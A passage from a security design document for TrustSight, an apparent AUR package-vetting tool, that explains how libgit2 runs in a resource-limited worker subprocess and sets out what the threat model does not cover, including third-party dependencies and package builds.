Consequence: a package with no local observations has maturity 0, so by B3 a Medium-band score with no HIGH-or-worse finding renders Inconclusive, not Low. The remedy is a warm corpus baseline (A13), which is exactly what baselines are for; it is not a lower maturity threshold and not a maturity exemption for this code path.
A16. libgit2 is operated behind a resource-bounded subprocess. The analysed repository is an attacker-authored git repository, and libgit2's pack, delta and object code is C that this project consumes but does not audit. The parent therefore never calls libgit2: sandbox/git_project.py and sandbox/git_worker.py are the only modules that import pygit2, and every read or diff reaches them through a framed JSON request to a child process that serves one package. The child is started with an isolated interpreter (-I, a minimal environment, no inherited PYTHON* or loader variable) and applies its limits before serving requests: RLIMIT_AS for address space, RLIMIT_CPU for CPU, RLIMIT_FSIZE for the clone and fetch marker, RLIMIT_NOFILE for descriptors, and PR_SET_NO_NEW_PRIVS so a defect cannot gain privilege. A failure to set RLIMIT_AS, RLIMIT_CPU or PR_SET_NO_NEW_PRIVS is a startup refusal: the worker exits before serving and the parent reports the package as not vetted. The other limits and the libgit2 hardening settings are reported to the parent as degraded, never swallowed.
This is containment, not an OS sandbox: it is the same UID, it keeps the network (the worker must reach aur.archlinux.org to clone), and it has no seccomp filter or network namespace. Its purpose is that an amplification, a malicious pack, or a memory-safety defect spends the child rather than the analysis process, its database handle and its filesystem permissions. The worker's bounds are source constants in sandbox/git_bounds.py: GIT_PACK_MAX_OBJECTS, MAX_TRANSFER_BYTES, GIT_TRANSFER_DEADLINE_SECONDS, GIT_TREE_MAX_ENTRIES, GIT_COMMIT_META_MAX_OIDS, GIT_FILE_AT_MAX_BYTES, and the diff generator's caps. The parent caps a request frame at protocol.MAX_FRAME_BYTES before writing it, and a worker that reaches GIT_WORKER_RETIRE_CPU_SECONDS is retired between requests, so a slow drip is attributed to the package that spent the budget rather than to the next one. Responses are total as well: a path or message git stores as invalid UTF-8 is decoded with replace rather than carried as a lone surrogate, and a value that still cannot be serialised becomes an error frame rather than a dead worker. A child that dies, times out, or refuses is GitSandboxUnavailable/GitOpError, and the fetcher turns that into an incomplete fetch - never a quiet clean analysis (B2). A transfer that fails or is aborted still reports the bytes it wrote, and the fetcher charges them to MAX_TOTAL_TRANSFER_BYTES, so a series of failures cannot walk around the run budget. Reads that a bound declined are reported as stage failures, so an unread PKGBUILD is a declared stage_degraded gap rather than an empty file.
What this does not protect: a defect inside libgit2 still runs with the worker's own (unprivileged) filesystem and network access, and the trusted-OS, trusted-interpreter and trusted-dependency assumptions in the thesis still apply. The git worker gates fail the build if the launch stops being isolated, if a limit failure stops being reported, or if a module outside the sandbox starts importing libgit2.
What this part does not protect¶
- Building the package. TrustSight never runs a PKGBUILD. Once you type
makepkg, you are outside this model entirely. - The dependencies TrustSight itself installs.
pygit2,rich,typer,tldextractandPyYAMLare third party code in this process. The PSL datatldextractuses is pinned and read offline, but the libraries are a supply chain this project consumes and does not audit.PyYAMLis the one that parses package-controlled bytes directly (committed YAML manifests), so it sits on the same hostile-input boundary as the manifest parsers; onlyyaml.safe_loadis used, under the manifest byte cap.pygit2is bounded the same way at its bundled library: TrustSight clones AUR repositories with it, so the pin must bundle a libgit2 that carries the delta result-size allocation fix (>= 1.9.5, CVE-2026-53585); thelibgit2 is not the vulnerable versiongate reads the runtime version and fails the build otherwise, because a transfer-byte cap cannot bound an allocation made inside libgit2. SQLite is trusted the same way: every value reaches it through a parameterised statement (A9), but a compromised SQLite is a compromised database, and this model assumes it is not. The complete dependency boundary is stated in the thesis assumptions, together with the SBOM and advisory reporting that makes the boundary observable without pretending it is closed. - TrustSight's own distribution. TrustSight ships as an AUR package, built from a fixed tag with a checksum and a detached GPG signature in the recipe, made with a key the release pipeline never holds. It is subject to the same threat it describes. Verify the tag, and let makepkg verify the signature (release signing).
Known architectural limits. The dependency boundary above is the largest of them, and it is stated here as accepted and tracked, not as solved: a tool whose whole job is reading untrusted text parses, renders and stores that text through third-party code it does not audit, and shrinking that surface is an architectural change, not a hardening patch. Two evolutions were on record as candidates. The sandboxed tokenizer has been built: A6 now describes it, and sandboxing the tokenizer is the analysis behind it. The subprocess-isolated renderer, so a defect in the rendering stack (A7, A10) cannot reach the database or the network, is argued there to be not worth doing, and is not scheduled. The assumption is named, the boundary is published, and the invariants above hold within it. If the renderer ever lands, this page changes with it.